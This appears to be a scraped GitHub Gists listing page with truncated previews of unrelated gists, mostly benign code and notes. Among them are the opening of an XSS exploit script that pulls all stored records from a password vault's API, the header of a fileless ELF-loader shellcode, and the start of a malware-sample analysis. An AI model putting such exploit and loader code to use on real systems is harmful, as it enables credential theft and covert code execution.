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@DavidBuchanan314
DavidBuchanan314 / cursed_mandelbrot.c
Last active June 28, 2023 15:12
Compile-time mandelbrot in pure C. Outputs a PGM image file to stdout. Output can be seen at https://twitter.com/David3141593/status/1062468528115200001
#include <stdio.h>
#define SQ(x) (x)*(x)
#define M0(x,y) SQ(x)+SQ(y)<4?0:0xe0
#define M1(x,y,x0,y0) (SQ(x)+SQ(y)<4)?M0(SQ(x)-SQ(y)+(x0),2*(x)*(y)+(y0)):0xc0
#define M2(x,y,x0,y0) (SQ(x)+SQ(y)<4)?M1(SQ(x)-SQ(y)+(x0),2*(x)*(y)+(y0),x0,y0):0xa0
#define M3(x,y,x0,y0) (SQ(x)+SQ(y)<4)?M2(SQ(x)-SQ(y)+(x0),2*(x)*(y)+(y0),x0,y0):0x80
#define M4(x,y,x0,y0) (SQ(x)+SQ(y)<4)?M3(SQ(x)-SQ(y)+(x0),2*(x)*(y)+(y0),x0,y0):0x60
#define M5(x,y,x0,y0) (SQ(x)+SQ(y)<4)?M4(SQ(x)-SQ(y)+(x0),2*(x)*(y)+(y0),x0,y0):0x40
@MarkBaggett
MarkBaggett / 1 - pythons_sinister_secrets.md
Last active April 16, 2023 21:37
Come To The Darkside - Pythons Sinister Secrets
@gvlx
gvlx / Windows 10 Decrapifier, 1803_1809.ps1
Last active August 30, 2024 04:44
Windows 10 Decrapifier
#Windows 10 Decrapifier 1803/1809
#By CSAND
#Oct 5 2018
#
#
#PURPOSE: Eliminate much of the bloat that comes with Windows 10.
#
# Change many privacy settings to be off by default. Remove
# built-in advertising, Cortana, OneDrive, Cortana stuff
# (all optional).
@zznop
zznop / mem-loader.asm
Last active June 6, 2025 11:29
Fun little loader shellcode that executes an ELF in-memory using an anonymous file descriptor (inspired by https://x-c3ll.github.io/posts/fileless-memfd_create/)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;
;;; Copyright (C), zznop, [email protected]
;;;
;;; This software may be modified and distributed under the terms
;;; of the MIT license. See the LICENSE file for details.
;;;
;;; DESCRIPTION
;;;
;;; This PoC shellcode is meant to be compiled as a blob and prepended to a ELF
@johnhw
johnhw / umap_sparse.py
Last active May 11, 2025 07:18
1 million prime UMAP layout
### JHW 2018
import numpy as np
import umap
# This code from the excellent module at:
# https://stackoverflow.com/questions/4643647/fast-prime-factorization-module
import random
@shawarkhanethicalhacker
shawarkhanethicalhacker / password_vault_exploit.js
Created August 20, 2018 07:26
XSS Exploit code for retrieving passwords stored in a Password Vault
//Exploit Code by Shawar Khan
var data_chunks = '';
// Capturing Records from API
fetch('https://redacted.com/api/v3/records/all').then((resp) => resp.text()).then(function(data) {
// Holds the records in as String
var allrecords = data;
// converting response to JSON
@giovaneliberato
giovaneliberato / get_pets18_papers.sh
Created July 26, 2018 16:00
#!/usr/bin/env bash
LINKS="https://petsymposium.org/2018/files/papers/issue4/popets-2018-0035.pdf,https://petsymposium.org/2018/files/papers/issue4/popets-2018-0033.pdf,https://petsymposium.org/2018/files/papers/issue4/popets-2018-0031.pdf,https://petsymposium.org/2018/files/papers/issue1/paper42-2018-1-source.pdf,https://petsymposium.org/2018/files/papers/issue3/popets-2018-0021.pdf,https://petsymposium.org/2018/files/papers/issue4/popets-2018-0029.pdf,https://petsymposium.org/2018/files/papers/issue3/popets-2018-0020.pdf,https://petsymposium.org/2018/files/papers/issue3/popets-2018-0026.pdf,https://petsymposium.org/2018/files/papers/issue4/popets-2018-0039.pdf,https://petsymposium.org/2018/files/papers/issue1/paper12-2018-1-source.pdf,https://petsymposium.org/2018/files/papers/issue3/popets-2018-0027.pdf,https://petsymposium.org/2018/files/papers/issue4/popets-2018-0037.pdf,https://petsymposium.org/2018/files/papers/issue3/popets-2018-0024.pdf,https://petsymposium.org/2018/files/papers/issue4/popets-2018-0
@SeppPenner
SeppPenner / Installing Python 3.7.4 on Raspbian.rst
Last active May 9, 2024 21:52
Installing Python 3.7.4 on Raspbian

Installing Python 3.7.4 on Raspbian

As of July 2018, Raspbian does not yet include the latest Python release, Python 3.7.4. This means we will have to build it ourselves, and here is how to do it.

  1. Install the required build-tools (some might already be installed on your system).
@maximecb
maximecb / music.csv
Created May 19, 2018 17:21
Python program to sequence MIDI music using a CSV spreadsheet
X kick snare
X
X
X
X kick
X
X
X
X kick snare clap
X
@JohnLaTwC
JohnLaTwC / 8ef117d174a5f4bfac84d6dcc99278fc8ff4add8c6f8b569411876779727ad75.txt
Created March 24, 2018 21:31
VBA / PS1 / Assembly 8ef117d174a5f4bfac84d6dcc99278fc8ff4add8c6f8b569411876779727ad75
## uploaded by @JohnLaTwC
## Sample hash: 8ef117d174a5f4bfac84d6dcc99278fc8ff4add8c6f8b569411876779727ad75
olevba 0.52dev7 - http://decalage.info/python/oletools
Flags Filename
----------- -----------------------------------------------------------------
OLE:MAS-HB-- 8ef117d174a5f4bfac84d6dcc99278fc8ff4add8c6f8b569411876779727ad75
===============================================================================
FILE: 8ef117d174a5f4bfac84d6dcc99278fc8ff4add8c6f8b569411876779727ad75
Type: OLE
-------------------------------------------------------------------------------